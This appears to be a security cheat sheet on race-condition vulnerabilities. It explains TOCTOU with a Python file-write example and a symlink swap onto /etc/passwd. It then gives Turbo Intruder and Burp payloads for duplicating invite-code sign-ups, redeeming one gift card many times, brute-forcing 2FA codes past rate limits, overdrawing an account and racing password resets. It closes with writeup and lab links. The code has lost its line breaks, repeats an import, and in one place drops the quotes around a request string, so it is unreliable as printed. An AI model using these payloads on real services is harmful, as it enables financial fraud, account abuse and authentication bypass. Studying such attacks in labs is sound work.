Race condition
A race condition vulnerability occurs when multiple processes or threads access and modify shared resources concurrently without proper synchronization, leading to unpredictable behavior. In a web application or system, this can be exploited to manipulate data integrity, escalate privileges, or bypass security controls.
Explanation
- Concurrency Issue: A system performs multiple operations on the same resource without enforcing proper execution order.
- Time-of-Check to Time-of-Use (TOCTOU): The system checks a condition (e.g., file existence, permission check) and then performs an action based on the result, but between these two steps, an attacker modifies the resource.
- Critical Section Manipulation: A shared resource is modified by multiple processes/threads simultaneously without proper locking mechanisms, leading to data inconsistency or security bypass.
Example
import osimport timeimport timefilename = "secure_file.txt"# Step 1: Check permissions (TOC - Time of Check)if os.access(filename, os.W_OK):time.sleep(2) # Attacker swaps file here (TOU - Time of Use)# Step 2: Open and modify the filewith open(filename, "w") as f:f.write("Exploited!")
While the program is sleeping (time.sleep(2)), the attacker executes
ln -sf /etc/passwd secure_file.txt # Replace with symlink to a sensitive file
Now, when the program writes to secure_file.txt, it modifies /etc/passwd instead
Methodology
Mass Account Creation via Invitation Code
def queueRequests(target, wordlists):engine = RequestEngine(endpoint=target.endpoint,concurrentConnections=50,requestsPerConnection=50,pipeline=False)request = '''POST /register HTTP/1.1Host: <REDACTED>Cookie: session=<REDACTED>invite_code=EXAMPLE123&username=user%s&password=Password123!'''for i in range(50):engine.queue(request % i, gate='race1')engine.openGate('race1')engine.complete(timeout=60)def handleResponse(req, interesting):table.add(req)
Exploiting Gift Card Redemption
Payload (Turbo Intruder - Multi-threaded Requests)
def queueRequests(target, wordlists):engine = RequestEngine(endpoint=target.endpoint,concurrentConnections=40,requestsPerConnection=40,pipeline=False)request = '''POST /redeem-giftcard HTTP/1.1Host: <REDACTED>Cookie: session=<REDACTED>giftcard_code=FREECASH100'''for i in range(40):engine.queue(request, gate='race1')engine.openGate('race1')engine.complete(timeout=60)def handleResponse(req, interesting):table.add(req)
Rate Limit Bypass on 2FA Code Validation
Payload (Turbo Intruder - HTTP/2 Single Packet Attack) In HTTP/2, multiple HTTP requests can be transmitted simultaneously over a single connection. The single-packet attack involves sending approximately 20 to 30 requests in one go, ensuring they reach the server at the exact same moment. This approach eliminates network jitter by bundling multiple requests into a single transmission.
Steps:
- Use PortSwigger’s Turbo Intruder script (race-single-packet-attack.py).
- In Burp Suite, send a request to Repeater.
- Duplicate the request 20 times using CTRL+R.
- Group all duplicated requests together.
- Execute the requests simultaneously as a single-packet attack.
def queueRequests(target, wordlists):engine = RequestEngine(endpoint=target.endpoint,concurrentConnections=20,requestsPerConnection=50,pipeline=True # Enables HTTP/2 pipelining)request =POST /verify-2fa HTTP/1.1Host: <REDACTED>Cookie: session=<REDACTED>otp_code=%sfor i in range(100000, 100020): # Bruteforce OTP rangeengine.queue(request % i, gate='race1')engine.openGate('race1')engine.complete(timeout=60)def handleResponse(req, interesting):table.add(req)
Overdrawing Bank Account Balance
Payload (Burp Suite - Request Cloning & Parallel Execution):
- Send a POST request to initiate a transaction.
- Clone request multiple times in Burp Suite Repeater.
- Create a group and send all requests in parallel.
POST /withdraw HTTP/1.1Host: <REDACTED>Cookie: session=<REDACTED>account_id=123456&amount=100
HTTP/1.1 Last-Byte Synchronization Attack
Payload (Turbo Intruder - Holding Last Byte Until Execution)
def queueRequests(target, wordlists):engine = RequestEngine(endpoint=target.endpoint,concurrentConnections=30,requestsPerConnection=30,pipeline=False)request = '''POST /reset-password HTTP/1.1Host: <REDACTED>Cookie: session=<REDACTED>Content-Length: 20[email protected]&new_password=NewPass123!'''for i in range(30):engine.queue(request[:-1], gate='race1') # Hold last byteengine.queue("\n", gate='race1') # Release last byteengine.openGate('race1')engine.complete(timeout=60)def handleResponse(req, interesting):table.add(req)
Limit Overrun
Limit overrun occurs when multiple threads or processes simultaneously access or modify a shared resource, causing it to exceed its predefined constraints.
Examples:
- Exceeding withdrawal limits by triggering multiple simultaneous transactions.
- Casting multiple votes in an election system due to concurrency flaws.
- Redeeming a single-use gift card multiple times before validation updates.
"Race conditions allow repeated redemption of gift cards, leading to unintended financial gains." – @muon4 "Concurrency flaws can be leveraged to exceed invitation limits." – @franjkovic "A single invitation code can be exploited to register multiple accounts." – @franjkovic
Rate-Limit Evasion
Rate-limit evasion occurs when attackers manipulate timing inconsistencies in request throttling mechanisms to exceed predefined limits. Rate-limiting is implemented to restrict excessive API requests, login attempts, or transactions, but synchronization flaws can render it ineffective.
Examples:
- Circumventing anti-brute force protections by sending parallel authentication attempts.
- Exploiting delays in two-factor authentication (2FA) validation to submit multiple OTPs.
Writeups
- Beyond the Limit: Expanding single-packet race condition with a first sequence sync for breaking the 65,535 byte limit
- DEF CON 31 - Smashing the State Machine the True Potential of Web Race Conditions
- Exploiting Race Condition Vulnerabilities in Web Applications - Javan Rasokat
- New techniques and tools for web race conditions - Emma Stocks
- Race Condition Bug In Web App: A Use Case - Mandeep Jadon
- Race conditions on the web - Josip Franjkovic
- Smashing the state machine: the true potential of web race conditions
- Turbo Intruder: Embracing the billion-request attack
Labs
- PortSwigger - Limit overrun race conditions
- PortSwigger - Multi-endpoint race conditions
- PortSwigger - Bypassing rate limits via race conditions
- PortSwigger - Multi-endpoint race conditions
- PortSwigger - Single-endpoint race conditions
- PortSwigger - Exploiting time-sensitive vulnerabilities
- PortSwigger - Partial construction race conditions